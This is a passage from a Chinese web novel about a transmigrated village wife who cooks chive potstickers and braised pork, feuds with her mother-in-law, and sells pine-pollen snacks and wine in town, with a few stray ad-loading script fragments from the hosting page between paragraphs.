$(''.inform'').remove(); $(''#content'').append('' !” “我就不看了,等会儿还有活要做呢。”丁宝珠摆摆手,又问,“你们娘不是不让你们去山那边吗?怎么又允了?” 徐莹笑道:“娘就同意我们在山脚下转悠,还是不让我们上山,不过这也够了,山脚下也有许多草料呢,而且还长着果子,肯定够这些兔子吃了。” 丁宝珠也点头笑道:“那行,只要你们别去太高的地方就成,注意安全。不过下次你们找到那野菜、蓼草和野果子,尽管带回来,好么?” 姐妹俩答应了,继续蹲着去看那兔子。丁宝珠就去打了一盆水来,坐在一旁洗菜。 叶菜先放去一边,她先将那些大头菜洗得干干净净的,之后再把割下来的韭菜和菠菜一并洗了。 大头菜她是准备用来腌制的,韭菜和菠菜倒是可以用来吃。只是前者的份量多,所以先把这些大头菜给处理了。 洗净的大头菜,丁宝珠统统拿去了灶房内,取出菜刀在灶台上随意磨了两下,就或切丝、或切块儿,或切丁,很快就切出了三大盘来。 接着再找来相同数量的坛子,里面放进相同类型比例的调味料,最后再把这些丝、丁、块儿全部放入,就能腌上了。 这要是想快一点,一两天就能开坛吃了,但要是想更入味些,那自然是需要多腌制一段日子,总而言之,这三坛子能够吃上很久了。 不过丁宝珠还留有一部分大头菜丝出来,这些是想着做午食的。 在那市集上,徐翊和李银屏买了不少东西,其中就包含着一部分新鲜食材,例如一整块的猪肉,也不知是不是中途他们遇到了也去镇上的丁宏,但市里的肉可能要更加便宜,否则恐怕也不会去买。 那块猪肉就挂在了房梁上,和其他肉干摆在一起,丁宝珠取下来切了三分之一。 接着,她又去拿了点自制的梅干菜,又将韭菜都切成碎末。肥瘦相间的肉上用刀尖比划了一下,她又片了一半下来,其他的统统都剁成了肉馅。 而李银屏听见这剁肉的声音后,心里暗叫不好,丢了手里的针线就马不停蹄地来到灶房,只见那鲜肉还挂在上面,松了口气,可明显少了些,又抱怨道: “晔儿媳妇,这肉买来是要腌的,你咋提前就切着做了呢?” 丁宝珠此时已经没在切菜了,而是在揉面,一边揉,她一边慢悠悠说道: “姨母,你也没说这肉挂在这不能用啊,要实在不想让我用,直接藏起来不就成了?况且我不过是用了三成,又没有用完,这不是还有剩下的能给你腌吗?” 李银屏叉着腰不快道: “你还真是有理,说你一句,你能顶我十句!” “我怎么不占理?总归今天是我做饭,姨母不喜欢,那到时候别吃了,自己开小灶去,看来肯定做的比我好,到时候你再去问问,爹和徐晔是想吃那肉干,还是吃那鲜肉!” 丁宝珠把手里的面团往案板上一摔,回过头阴恻恻地瞅了她一眼。 李银屏一时语噎,但这并不是因为被吓的,毕竟猎户妻有啥会怕的?她只是在那一瞬间内突然不知该怎么反驳,因为她的心里好像也觉得丁宝珠做的饭食更好吃…… 不行!不能怂! 可已经过了话茬,李银屏也只好气哼哼地暂时先回去了。 没了阻扰,丁宝珠也能安心做菜了。揉好的面团放去边上再醒片刻,她把剁好的肉馅儿放在大碗里,照旧在里面撒上各种调料,拌匀后又将韭菜碎给加了进去,继续拌开,就是一碗韭菜肉馅了。 没错,还记得上一次她对徐晔说过,等那韭菜成熟了,她就给他做韭菜锅贴吃,这回可总算有机会了。 面团醒后搓条切成剂子,继而一个个按扁了再擀成皮,好在徐家竟然也有擀面杖,不知是不是这同样也能做武器的缘故,就备着了。 接下来的步骤就更简单了,只需要用皮包馅儿就行。只是要包锅贴,就肯定和包饺子、包子或者馄饨不同,整体更偏向于条状的模样,一个个白花花的半成品锅贴包好放在案板上,整整齐齐各位赏心悦目。 而就在丁宝珠想要再做其他事情时,却听屋外有人在喊: “大嫂!有人找你!——” 73. 现下的韭菜锅贴 丁宝珠听了,连忙在围裙上擦擦手走出灶房。徐莹朝她挥挥手,又向着大门外指了指,就自觉带着徐芝先回屋了。 丁宝珠疑惑地来到大门处,家里有人的时候,那大门一贯是敞开半扇的,而且徐家住得比较偏,纵然徐翊和李银屏两位长辈在村里有交好的村民,也不大会跑这么老远过来串门,这倒是也给了丁宝珠清静。 最重要的是,家里还有看门犬黑虎,它完全能顶上一个成年男人,甚至比男人还厉害,所以徐家即使只有女眷在,也一点也不怕有人来闯空门。 就像现在,丁宝珠还没去到门口,那黑虎仿佛已经嗅到了陌生人的气味,猛然朝着门口大声吠叫起来,整个身子也是伏低呈待攻击状态。 丁宝珠抓了抓它的后颈子,示意它先安静,接着顺着墙沿问道: “谁啊?” “丁娘子,是我,我来给你送做好的器具来了!” 丁宝珠觉得耳熟,之后才想到,这不是那小木匠林森吗? 他平常听见原主有动静就恨不得掘地三尺逃走,怎么今日还主动过来了? 丁宝珠心里奇怪,可想着是过来送东西的,便让黑虎先回了窝,自己又把另半扇门给打开了。 抬眼便见那林森的旁边有一辆小木板车,车上放着两个大木桶,而前者只是多看了她一眼,就立马低下头去,赧然地挠了挠脸。 丁宝珠瞅了眼那木桶,问道: “不是说要半个多月吗?怎么现在就做好了?” 林森小声解释道:“之前有几笔单子退了,正好轮上你的了……不过你放心,我和爹都是有好好做的,质量绝对没问题!” 丁宝珠瞧着他那扭扭捏捏的模样,无语地抖了抖嘴角。可眼见着器具已经提前做好了,倒是合了她的心意,便道: “那你等等,我去取字据和剩下的钱来——对了,你字据带了吗?” “哦哦,我带着呢!”林森赶忙道。 丁宝珠点点头,就转身回房里拿东西去了,林森下意识抬了抬脚,结果就见到那徐家的大黑狗眸子一眨不眨地正盯着自己,时不时龇牙咧嘴的,吓得他又立刻缩了回去。 丁宝珠去屋里找出了字据和钱,没发现在另一个房里,一大两小正撅着屁股在往窗外细细望着,只不过是没问声罢了。 徐芝轻声问道: “娘,是谁来找大嫂啊?咋听着是个男的?” 而那李银屏,脸上早已黑得犹如锅底一般,怒起开口道: “小姑娘家家的,别瞎打听!” 她怎么听不出那是老木匠林材的儿子林森的声音,毕竟后者早早就跟着做木匠活儿了,而徐家要打器具也是和村里其他人一样去找他家的。最主要的是,当初丁家和林家的事情闹得满村风雨,连徐家也都知晓,还连带着闹了之后那么多事哩! 这些事一直犹如一根花刺扎在李银屏的心里,却没想到这丁宝珠,竟然还和那林森纠缠不清?把他家晔儿又放到哪里去了?真是太过明目张胆了! 又因为这算是件败坏风气的事,所以李银屏一直不给徐莹徐芝知道,还在气头上,自然这样火气十足。 徐芝吐吐舌头不再说话了。徐莹这时却说道: “娘,那人好像走了……” 话音未落,李银屏就打开房门冲了出去,那比任何一次都要气势汹汹。 但还没来得及骂几句,就见丁宝珠独自搬着一个十分大的木桶,像是要进灶房,顿了顿,才问: “你这是啥?——那老林的儿子咋过来了?” 丁宝珠看李银屏这个阵仗,就明白她肯定是存了点误会,只好暂且放下说明道: “我找他家做器具了,喏,这是当时我和他们定的字据,他们做好了,当然就送过来了。” 李银屏并不去看,再说她又不识字,谁知道上面写了啥?只是眯着眼,依然是不相信地问道: “那咋是他来了?谁不知道你以前和他歪缠过?谁又知道你们是不是在搞啥不清不楚的事儿?” 丁宝珠脸色一沉,正声道: “姨母,你大不了去问问林木匠,问是不是我找他订做过器具,至于为什么是林森送过来,估摸着是林木匠喝多了酒,这点你应该不是不知晓吧?你别忘了,我已经嫁给徐晔了,要还有那种事,我这最后一点脸皮还要不要了?你别总把人想得那么坏行吗?” “想别人,我当然不会那么想,可那要是你,我总要为了这个家多想想!”李银屏显得格外理直气壮,“再说了,你咋非要去找林家做桶子?” 丁宝珠觉得,她压根就是不喜欢自己,那自己做什么她都是看不顺眼的,又何必多解释?灶房里的午食还没有做完,她才懒得与她争辩呢! 如此想完,丁宝珠重新抱起木桶,气极反笑道: “那也好,到时候姨母就给我推荐一下其他做活儿物美价廉的木匠,又或者我直接去镇上买,之前的市上,我倒是见到了不少木器铜器和漆器的,反正现在徐晔屋里有的钱也是我在管,我哐哐全部花掉!” “你!——” 李银屏还没来得及说完,丁宝珠就径直回去灶房不理她了,前者只好跺了跺脚,恨恨往灶房门口看去。 象山村里就林家这么两个木匠,要再去邻村找,指不定会被坑上一两笔才罢休,可到底来说,她就不应当去订做什么奇奇怪怪的器具回来! 这事儿等徐翊徐晔回来一定要说,不说不行了,儿媳妇要翻天了! 不过今日,父子俩是傍晚才回来的。但中午时刻,丁宝珠也给他们送了午食去。之前由于丁宝珠做买卖晚回来,午食都是李银屏做的,今朝一见到是丁宝珠,心里就不由得期待起来。 而那徐晔,甚至还在纠结着那个问题呢,一看到丁宝珠,就蓦然感觉大片阳光撒了下来,脸上火辣辣的,一时退也不是,上去也不是,就呆愣愣地杵在了原地。 最后还是徐翊推了他一把,这时恰巧丁宝珠也过来了,便笑道: “好媳妇,这次你又带了啥好吃的了?” 丁宝珠也笑道: “爹,这次我带了新的吃食,给你们尝尝。” 她从挎篮里拿出盒子递给两人,盖子一揭开,乍一眼还以为是饺子,可仔细看了,却又觉得形状不像,而且表面还油光光的,像是煎过。 徐翊看了会儿,问道:“这东西,是油夹儿吧?” 丁宝珠点头道: “是的爹,不知道您有没有吃过,不过我更想称呼它为锅贴!您尝尝有什么区别不?” 本来徐晔还没记起来,可听到锅贴这两个字确实愣住了——这不是丁宝珠很久前说过的那个吃食吗? 徐翊笑道:“好,咱都吃吃看!” 但那饭盒子里也不仅有锅贴,还塞着一些细丝状的小菜,以及黄澄澄的煎鸡子,放得满满当当的。以及在挎篮里,丁宝珠还带了稀粥过来。 丁宝珠给家里留了饭,她习惯也给自己带一份然后在这里吃,大抵要比在家里安静。徐晔拿着筷子,夹了个锅贴咬了口,上面的皮软嫩,底下却十分焦脆,还是热腾腾的,有点烫舌,显然是刚做好不久的。 吸了几口气冷却,他忽然发现那是韭菜馅儿的,菜里似乎还有肉末,但很是提味,韭菜的味道本就浓郁,这么混合在一块儿,满口都是香味。 而且……是韭菜? 徐晔想起来她说过,等地里的韭菜长成了,就给自己做这个吃。原先只以为她是随口一讲,没想到真给他做了? 他在那时的确有期待过,可过了不久也就抛之脑后了,却没想到她竟仍旧放在了心上! 徐晔怔然了须臾,脸上是不热了,可是却莫名转移到了眼眶之上,害得他不得不用盒子遮住脸,然后再用筷子不停扒食吃。 丁宝珠也在吃着,偏头看去,问道: “怎么,不好吃?” 徐晔哼了哼鼻子,在饭盒里闷声道: “好吃的……多谢。” 丁宝珠挑了挑眉,又笑着故意道: “毕竟这里面又有油又有肉又有鸡子的,那能不好吃吗?” 徐晔才升起的几分感动登时荡然无存,放下饭盒后也是一脸冷淡。 好好好,合着她确实记得——啥都记得! 丁宝珠见状,也不打趣了,笑道: “没事儿,要是你不爱吃,我还可以做别的,比如盒子,还有煎包!” 徐晔刚才一顿猛吃,此刻盒里的锅贴已经不剩几个了,好像囫囵吞枣一样,不由得感到些许后悔,只好又慢慢地吃了一个,那更像是品尝了,嘴里模糊道: “你这个锅贴就很好吃,我觉得能吃上一阵子,说不定还能卖出去呢。” 丁宝珠愣了下,做吃食生意也那么久了,徐晔一直是睁只眼闭只眼的态度,从没听过他讨论起这个来,没想到今天却说出口了。 “行啊,到时候可以试试。” 说了几句闲话,不曾想那汪榆和袁聪不知何时凑了上来——但其实平常几乎都会这么做, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 只是丁宝珠初来的那几次,这两人都没有碰上,而后来李银屏过来,他俩也早对那婶子熟悉了,今天正好认识一番,称呼起嫂子来。 丁宝珠莞尔应答,待徐晔徐翊又喝了几碗解渴的稀粥,就收拾东西离开了。这么一晃眼,就到了傍晚回家的时刻,父子俩从田地间返回,远远就见到自家的屋顶处飘起了袅袅炊烟,再离近些,甚至还有股奇异的香味漫了过来。 是个人就都爱吃肉,徐家也只不过是比寻常人家多出一些能吃到肉的机会罢了,就连那也是冒着风险才拥有的,所以两人马上就闻出来,那是煮肉的味道。 若是徐家两旁都是邻居,怕就要被这香味馋得从肚子里爬出馋虫来了。 徐翊不禁感叹道: “晔儿,我看你这媳妇,应当真是收心了,你今后定要与她好好过日子,我和你姨母将来也能够真的安心。” “爹,你说这干啥,那将来还早着呢,您别想那么多。” 徐晔虽是这么说也没正面应答,可心里却暗暗答应下来了——也许他真的可以试一试和丁宝珠好好过日子。 啧,居然还有点小期待。 打开大门回到家,第一个出来迎接的就是上前站起来扒拉着的黑虎,徐晔摸了摸它,徐翊则是去放下农具,那香味就愈加浓郁了,明显还是从灶房里出来的。 徐莹徐芝发现父子俩回来,拉着徐翊就去兔子窝那儿了。后者比徐晔懂得多些,只把那些兔子都提起来看了看,笑道: “你们接着养,差不多再过段时日,母兔子就能揣崽儿,一个月就能下下来了,到时候还怕你们就没耐心继续养了呢!” “不会的,爹,我们头一次养,以后肯定会继续养下去!”徐芝在旁拍着胸膛保证道。 “既然你们那么喜欢,以前我和你们大哥出去打到兔子,咋也没见过你们拿去?”徐翊问道。 徐莹俏皮笑道: “爹,你和大哥上山去打的兔子还要留着卖钱呢,我们拿来养,那就要过一段时间后才能再去换钱,哪个更重要,我们还是懂的!可是这次是大哥赚了钱玩游戏赢过来的,那就没关系啦。” “好孩子,你们当真是懂事了!” 徐翊摸摸两个小女儿的脑袋,欣慰极了,又再多讲了些关于兔子的知识,院里一时其乐融融的。 徐晔见状,耸耸肩膀,到底是没加入进去,而是想了想后默默地去了灶房。 室内的香气更是逼人,而且还热腾腾的,如今天气更热起来,徐晔和其他下地的男人倒是方便,随便用袖口擦擦汗就成,甚至有些上了年纪的更是提前穿上了斗笠、背心和短裤,等天气更加炎热,怕是都会光膀子了。 丁宝珠听见动静,回头一看,问道: “咦,你怎么来了?” 徐晔噘着嘴反问道: “咋了,我不能来?难道你在做啥亏心事?” “……你看你,我不就问了一句,你扯到哪里去了?” 丁宝珠摇了摇头,转身又去打开大锅盖,一番烟雾缭绕后,露出了里面一碗蒸菜来。 中午包了锅贴,要解决一家人的胃口,那些韭菜和肉已经都做完了。但是在剁肉馅的时候,她还特意片了些肉出来,就和梅干菜一起做了一道经典的梅菜扣肉。 另外她还有那菠菜和大头菜,原本那菠菜,丁宝珠想着一定是做汤最鲜美,可今天像是温度骤升,再喝热汤就有点不适宜了,所以她做了一道凉拌的菠菜。 最后就是她留下的那些大头菜丝,又去灶房的坛子里捞了几块萝卜干,也是切丝,下锅共同炒一下就行。大头菜自带一种辣味,就是另一道下饭菜了。 不过要不怎么说厨子最耐高温,丁宝珠在灶房内已经待了半个多时辰,眼见着饭菜都做得差不多了,才觉得浑身又湿又黏,脸上的汗滴滴答答地沿着下颔流下来。 正要抬手去擦,脸边突然感觉到另一种粗糙轻轻地摩挲着,下意识偏头一瞧,原来是徐晔抬起手给她擦了。 他身上还是旧布衣,洗到粗了也不换,村里人皆是如此,可丁宝珠没有想到的是,徐晔竟然会做出这样亲昵的动作——至少对他来讲一定是了。 见丁宝珠看过来,徐晔忸怩了一刹,立马就放下手,又说道: “我帮你把饭菜端出去吧。” 说完也不等丁宝珠回答,就直接去端碗盘再出门。 丁宝珠自己把剩下的汗水擦去,心里似乎有点沉甸甸的,后来才发现自己肚子叫得也欢,就也跟着出去了。 74. 梅菜扣肉 一家人围坐在桌边吃晚饭,这顿最好的菜,那一定是那道梅菜扣肉。 这梅菜必须要先下锅炒香,而扣肉也必须先要下锅炸出虎皮来,这才能一起装在碗里上锅去蒸,当然也是家里买的这块肉很好,标准的三线五花肉,丁宝珠有理由怀疑就是在丁宏那里买的。 再加上最后那梅菜扣肉是与米饭一起蒸的,那熟了的米饭好像也覆了一层梅菜肉味,之后又拿那汤汁搅和搅和,纵然那扣肉本身就是肥而不腻,就算觉得腻了,还有那大头菜来解腻。 这实在是太下饭了,光是那汤汁拌饭都能空口吃上一整碗,而徐晔就是这么做的,一双筷子动得比锄头快多了。 丁宝珠看了眼饭盆,说道: “饭快没了,你悠着点吃。” “哦哦。” 徐晔应了声,咬咬筷子尖儿,就去夹菜吃。这本来是件小事儿,可在某人眼里却是越看越看不惯,不由分说就开口道: “不就是点饭吗?男人想吃就吃,还扰着做啥?” 丁宝珠斜了一眼,便道: “那就麻烦姨母再去蒸一锅饭了,我反正是饿了,只想坐下来吃!” 她说完还不够,伸出筷子就夹去了两块扣肉放进碗里。一片扣肉中裹着米饭再入口填满嘴,那简直能油然升起许多幸福感。 但是那肉只吃一顿,所以丁宝珠并没有切很多肉,那盘里看上去就像立马少了一半似的。李银屏连忙又给徐莹徐芝夹了肉,这才怨道: “活儿没见你多干,吃倒是吃得多。” 丁宝珠听到这话,不但不生气,反而更来劲儿了,又去夹肉不提,还夹了给徐晔,然后轻飘飘地挤眉弄眼了一下。 挑衅!赤/裸裸的挑衅! 李银屏见丁宝珠刀枪不入,转而就把目标转向了徐晔,说道: “晔儿,你是她男人,也不管管你媳妇儿?村里哪家儿媳妇上不敬公婆,下不听自家男人的话的?而且你可别光顾着自己,忽视了其他人的存在了!” 徐晔一阵无语。他能说啥?他只想吃个饭,咋就那么难呢? 于是他偏头看去,可不知为何,他好像还真看出了点什么——比起一开始把丁宝珠迎进门来到现在,她……是不是瘦点了? 徐晔蹙眉,又夹了一片肉进后者的碗里,说: “你多吃些。” 李银屏只感到后脑那又热又涨——这傻孩子,怕是之后发生了啥事,他还不知内幕呢! 丁宝珠这时却皮笑肉不笑道: “东边的张婶子,赵婶子,还有南边的周婶子。” 李银屏怔了怔,问道: “你说啥?” 丁宝珠吃了块肉,说道: “这些不都是你口中的,上不敬公婆下不听自家男人话的媳妇儿们吗?但是我和她们比,姨母你想想,究竟是哪个好?” 别看丁宝珠天天不是外出做买卖就是在家里干活儿,实际上也偶尔会探听一下村里发生的事情。而村里又没有什么好的娱乐项目,这聊八卦就成了一群婶子们闲来无事的笑谈。 于是丁宝珠也听到过其中几件,这象山村里也并不都是苦媳妇,有几个就是能够拿捏丈夫的厉害的主儿,不过这种情况也不多,要么是本身女强男弱,要么是男方家里图女方那厚厚的一笔嫁妆,这才愿伏的。 这事儿李银屏也不可能不清楚,那可是村里有名的河东狮、母夜叉和女霸王,能把家里的男人收拾得服服帖帖的。这么想来,在外人眼里已经改过自新的丁宝珠,貌似确实要好多了。 “行了行了,吃着饭呢,说这些做啥?”徐翊摆摆手,“不就是肉和米吗?我们不是才买过?家里还有呢,填饱肚子那是肯定够的。” 他发了话,桌边这才消停下来,先吃饭了。 吃过饭,天色却没有完全暗下来,自从天气愈发热后,连夜幕也入得慢了。丁宝珠坐在桌前拆了发髻,正在梳头,挑着分叉,然而那徐晔却看了看,突然问道: “话说你的箱笼里,没有那个一同带过来的东西吗?可以用来装胭脂水粉的那个……” 丁宝珠想了想,问道:“你是说妆奁?” “对。”徐晔点点头。 丁宝珠便笑道:“哪有那个,再说了,我又没有首饰和妆品,那更用不上了啊,摆了还占地方。” “哦……” 徐晔淡淡应了一声就不再说话,丁宝珠梳好的头发披在身后,又伸了个懒腰,浑身像是重启了般骨节尽响。 徐晔听到了,忽然又道: “那我去给你烧点水吧?” 丁宝珠再次偏过头,心里有点疑惑,但还是点了头,前者便马不停蹄地去了。 是她的错觉还是自作多情?她怎么感觉他转了性子呢? 好吧,其实也不能说是转了性,让一个傲娇打直球的难度不亚于她现在就开了酒楼财富自由——不过似乎相处更和谐了些。 丁宝珠摇摇头不再多想,大不了先过着,反正她也不是没有好处。 于是乎她又开始做起那吃食生意来。新一批的松花酒和松针汽水已经酿好了,连那松花粉也是晒制完毕,她便再度做了松花团子,准备还拿出去卖,总归松花已经快要过季,再想卖就得等到下一年了,先把这笔钱赚了再说。 只是这一次,丁宝珠决定把这些松花吃食统统拿去祥安镇上卖。 毕竟那天开市人多,也就有更多的人来过她摊前买过东西,能混个眼熟,而且镇上的人消费也总要比村里的人多些,尤其是愿意花钱去买饮品的。 就是这未免要更辛苦点了,不过在决定做吃食生意前,丁宝珠就已经做好了心里准备,挑着担子就直接上路了。 只是最近也愈发热起来,只有某日下了雨才降降温,出汗也多了,丁宝珠便多扎了一条和衣裳颜色差不多的头巾,这才出发。 来到镇上,那游人果然就与开市时比少了点。丁宝珠寻到了先前摆摊的地方,只是这次两旁更空了,也就没彼时那么多插曲了。 把挑的担子放下,丁宝珠整理了一番就吆喝起来,依旧是那松花团、松花酒和松针汽水。 仅有一点不同,这回她只喊了两遍,就有客人过来了,开头便道: “娘子你怎么现在才来?我要一杯松针汽水!” 一边说着,他一边把一个竹筒杯给递了过来,仿佛有点迫不及待。 “自然是因为要做出来还得花时间,让客人您久等了。”丁宝珠莞尔地接过来,开了坛盖子舀着,又问,“发生啥事了,客人这么着急?” “哎呀,还不是上一回你过来卖,我才买了一点尝尝,之后想要再买,结果就卖完了,我这几天都在想着呢!”那人絮絮叨叨地说道,“而且你不知道,咱们镇子上,至少有半个镇子都在聊你那汽水,只是你就卖了那半日,之后又不见你,也就罢了。” 这对于丁宝珠来说倒是惊喜,只是暂且按下不表,又笑道: “您喜欢就好!那既然您是今天的第一个客人,也能多买些了,再来瞧瞧我做的松花团吧,还热乎着,可好吃了!” “行啊,那我选一选。” 就在这时,听闻那卖松针汽水的娘子又出来摆摊了,又渐渐来了一批客人来,而且也是那汽水的忠实顾客。丁宝珠不得不又感叹了一下,看来在这世上,喜欢喝汽水的估计都是同一拨人。 可是很快,丁宝珠原先的笑意就微微收起了点,甚至些许发愁起来。 原因是——这一坛松针汽水,竟然又要卖完了! 她现在只用普通的坛子来装饮品,不然再大再多的,她这个人工力气再大也挑不过了,但弊端就是像现在这样,卖得好的吃食一会儿就卖光了。 虽是荷包里已经装满了铜钱,丁宝珠还是忍痛告诉客人已经卖完了再送走他们,然后接着卖其他的。 也有人问以后什么时候再来,丁宝珠也只好兜个圈回答,实际上她心里也没个准儿,因为原本她是打算这波卖完后就去做新吃食,并且继续在那大道上卖的,却没想到这松针汽水竟然这么受镇里人的欢迎。 松花之后是没有了,可那松针却是四季常青,倒是可以接着采集后制作,但如果真的要一直做下去,那岂不是就要来镇上售卖了? 丁宝珠心里纠结,一时间连叫卖的劲头也小了一点点,期间也有人过来买松花团,她照旧做着生意,却蓦然听见有人往自己这个方向喊了一声: “姐姐!” 丁宝珠循声而望,原来是上次那个卖桑叶的年轻妇人,此刻也是挑了个担子晃晃悠悠地走了过来,便惊喜问道: “你怎么来了?” 那妇人在旁边放下担子,整个人看上去精神了不少,擦擦汗笑道: “这不是我听了你的话,回家去把那桑叶做成了吃食吗?你不知道,原本我夫家里还是不太愿意的,唯一的机会还是我求来的,好不容易才有了个,我便照着你的法子做了吃食再拿来镇上卖,果然比单卖桑叶更容易卖出去。赚了钱,我公公婆婆果然不再有异议了,也同意我再来镇上了呢。” “那真是太好了,虽然一开始赚得不多,但起码能把积压的材料给卖出去。” 于是这妇人正好可以与丁宝珠搭个伴一块儿做买卖,看这个架势,接下来一段日子前者都会过来了。 而这个妇人原来姓叶,名冬儿,是象山村邻村——长森村的人。虽称之为邻村,可来回怎么也要花费些时辰的,所以丁宝珠来了之后,这叶冬儿才姗姗来迟。 那长森村里有着两项产业,就是养蚕和种茶,所以在那一片范围内,就属他们最为富有,继而形成了一整个大型村落。尤其是现在这个时节,既是养蚕最好的,也是新一轮采茶高峰,怪不得起初叶冬儿的婆家不同意她的提议,毕竟那桑叶还是要留给蚕宝宝的。 “姐姐,你看。” 叶冬儿唤了声,把扁担挑着的筐上的布头给揭了开来,露出里面一个个草绿色的饼子来,正是桑叶饼。她又取出一个递过来,笑道: “姐姐,你尝尝看!” “不了,这是你要卖的,我吃了,你卖什么?”丁宝珠婉拒道。 “哎呀,就这一个又没事,我这还有呢。再说了,若不是你给我出了主意,我还是只在卖那桑叶,等卖出去还真不知要等到猴年马月,也是因为你,我才能赚到钱贴补家里,我感谢你还来不及,一个饼子又算得了啥?况且你也替我尝尝这味道吧!” 叶冬儿一番话说得真切,丁宝珠也不好再拒绝了,便接过来咬了口,舌齿间便翻滚出了一股浓浓的桑叶清香,吃着感觉也不是光用了桑叶,一定是还搭配了调料,所以还有阵咸香气,这样就能够空口吃了。 丁宝珠笑道:“你这做的不错,甚至还有创新,比我的想法好多了,以后你一定能够大卖。” “那就借姐姐吉言了。”叶冬儿也笑得粲然,眼里有了神,就好像已经见到了今后的样子。 两人便一起开始张罗叫卖起来。丁宝珠这里还是卖松花团和松花酒,只是不消一会儿,她就又见熟人了。 “娘子,娘子!” 丁宝珠才送走一名客人,听到有人貌似是在叫自己,循声望去,原来是那个一直在客满楼里打过照面的跑堂。 来者就是客,何况若还是陌生人,也就不会见过那么多面了,她便笑着问: “跑堂的,原来是你——你这回不会是揽我去吃饭的吧?” 不过丁宝珠确实是在开玩笑,她又不是什么贵客,比她能花钱的有的是,那掌柜的凭啥要单拉她去吃饭? 那跑堂的不好意思地挠挠头,但很快又利索地说道: “娘子,你要知道,咱们店里还是很欢迎你去光顾的,只是这回嘛……我可是身负着要紧事儿来的!” 已经寒暄过,丁宝珠便好奇问道:“你家掌柜的托你办什么要紧事儿了?” 那跑堂的——原来是个名叫朱四的,嘿嘿笑了声,却不像在店内那样有话直说,而是先问道: “娘子,您今日又来镇上了,是来卖些啥的呀?” 丁宝珠眯着眼看向不知打了什么算盘的朱四,却也耐着性子说道: “还是老一套,卖松花团子、松花酒和松针汽水,不过你来晚了,松针汽水已经卖完了。” 朱四这才搓着手掌道: “不瞒娘子你了,其实我这次来,就是为了您那松花酒的!我们掌柜的说了,要是你再来,就包了您所有的松花酒呢!” “真的?” 说不惊喜也是假的,丁宝珠的脸上更多了几分欣悦,但很快又问道: “可是你们店里难道没有松花酒吗?” 朱四摇摇头道: “娘子你还真别说,我们店里有自酿的浊酒、米酒、黄酒,有时新年的时候会做些屠苏酒,为了客人们偶尔又会做些其他的花酒,甚至还有部分是存着的陈酒,就是没有过这松花酒呐。” 不愧是店内人,就是对店里的品种如数家珍,丁宝珠想着可能是镇上店里不大注意这种山间的玩意儿,再加上松花过季又极快,酿了酒出来一时卖得好,可后面就没了,也没什么太多销路,便斟酌着问道: “那你掌柜的准备怎么收?” 上一回那坛酒卖给了个有钱人,那属于是意外之喜,这次她都做好一盏盏卖的心理准备了,却没想到又能被包圆,这商品还是要能快速卖出去创造价值,那她就不算亏。 朱四笑道: “我们掌柜的准备用二钱银子收了,娘子你看如何?” 他见丁宝珠随即有了副思索不定的神色,深怕这件事办不成,连忙又劝道: “娘子您想想,你这就有这一坛子酒,也不是那大肚坛子,顶多就一斗左右,放在其他地方,能卖一钱银子也就差不多了,而且卖给我们,还能提早收摊呢,这不好?娘子您再细细考虑考虑?” 丁宝珠确实在考虑,但她考虑的不是卖不卖给客满楼这件事——傻子才不卖的,这能给她省下多少时间?只是有一点,也是她当下在考虑的点…… 丁宝珠恢复了脸色,微笑道: “朱郎君你放心,把酒卖给你们客满楼,我是放心的。我只是在想, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这价格嘛……感觉还可以再商量一下。” 朱四这才恍然大悟——原来丁宝珠是不太同意这个价格! 可他也没有多说,顺着话问道: “那娘子想的是什么价?” 其实宋昌易给他钱时也不仅仅就给了二钱银子,但在酒楼里跑久了,纵然他没有读过书,也耳濡目染地会了些生意经,所以他也明白,想要收购,最终肯定是花的钱越少越好嘛! 就是不知娘子心里的价位是多少?要是太多,那他还要回去请示请示呢! 丁宝珠笑道: “朱郎君你大概也知道,这酒谁都能酿,可这松花却是不易得,虽说愿意辛苦点也能拿到,可它过季快啊。就说是我,实际上卖完这一坛后也就不再卖了,因为此时山上已经没有松花了!我当然知道你这里是诚心收,可物以稀为贵——这样吧,我就卖你二百八十八文,如何?” “这个嘛……” 朱四犹豫起来,其实他是有这么多钱的,但他总要再想想清楚。 丁宝珠也不急,客满楼能专门派朱四过来收她的酒,那绝对不是偶然,说明今天是一定要收到的,时间也还有很多呢。 而且这时还换了过来,成了丁宝珠慢悠悠劝说道: “何况我现在也算是半个做生意的,我怎么会不知道,你们把酒收过去,一盏酒卖得绝对要比我这里的一盏贵多了,肯定能大赚,还纠结这些成本做什么?二百八十八,就当我们生意往来,讨个吉利数了!” 朱四这才叹气松口道: “娘子这一张嘴都要和我差不多了!行,那就按你说的价吧!” 丁宝珠笑着回答:“我哪能和你这专业的比?对了,你有带坛子不?” “有有有,我带着呢。”朱四说着,不知从哪里取出了一个和丁宝珠那个坛子差不多大小的,“就放在这里好了,我还拿了酒提子过来呢。” 丁宝珠答应了,就把自己的坛盖给打开,让朱四自己打酒打满了。 只是他在那盛着酒时,又有别人上前来问道: “娘子,你那松针汽水还有没有?我要两份。” 丁宝珠带着歉意笑道: “不好意思客人,松针汽水已经卖完了。” “什么?又卖完了?”那客人顿时变得有点不悦起来,不禁就把怨气也给撒了出来,跺脚说道,“上次我就没赶上,光听别人是怎么喝的了,这次我一听你出摊就从西边来了,没想到还是晚了一步!哎呀,这回又不知他们会说啥来馋我了!” 毕竟这里也没什么方便的通讯设施,只能靠人口相传,等这人听说后都不知过去多少时间了,再从远处过来,那可不是就没了吗? 丁宝珠明白这是为了她的吃食才会这般态度,不但不气,还好言宽慰着,总算是把那客人先给送离了。 可这来来去去的,依旧是有些人过来再问那松针汽水的,丁宝珠无奈,却只能如实相告——她也不能平白无故变出来。 这就是穿后顺便绑定个系统或者空间的好处了,可惜她没那运气。 朱四在旁边瞧着,转了转眼珠子后,在浅浅松香气息中装好了酒,又从荷包里掂了掂,取了二钱半分的银子,并剩余的三十三文铜钱,一起交给了丁宝珠。 “娘子,您收好了!” 丁宝珠也数了数,确定后笑道: “咱俩这是合作愉快,替我给掌柜的带句好。对了,你跑来跑去的也辛苦,送你两个松花团子尝尝,这也和松花酒一样,过了这阵以后就没了!” 说着,她就快速地用油纸包了两个松花团子递过去。朱四乐得要不的,虽说东西小,可心意足,便收下了,又说了几句好话,这才带着酒坛忙不迭地复命去了。 稳扎稳打地带着酒坛回了酒楼,朱四立刻就去找宋昌易,汇报了状况,又把剩余的钱交了上去。 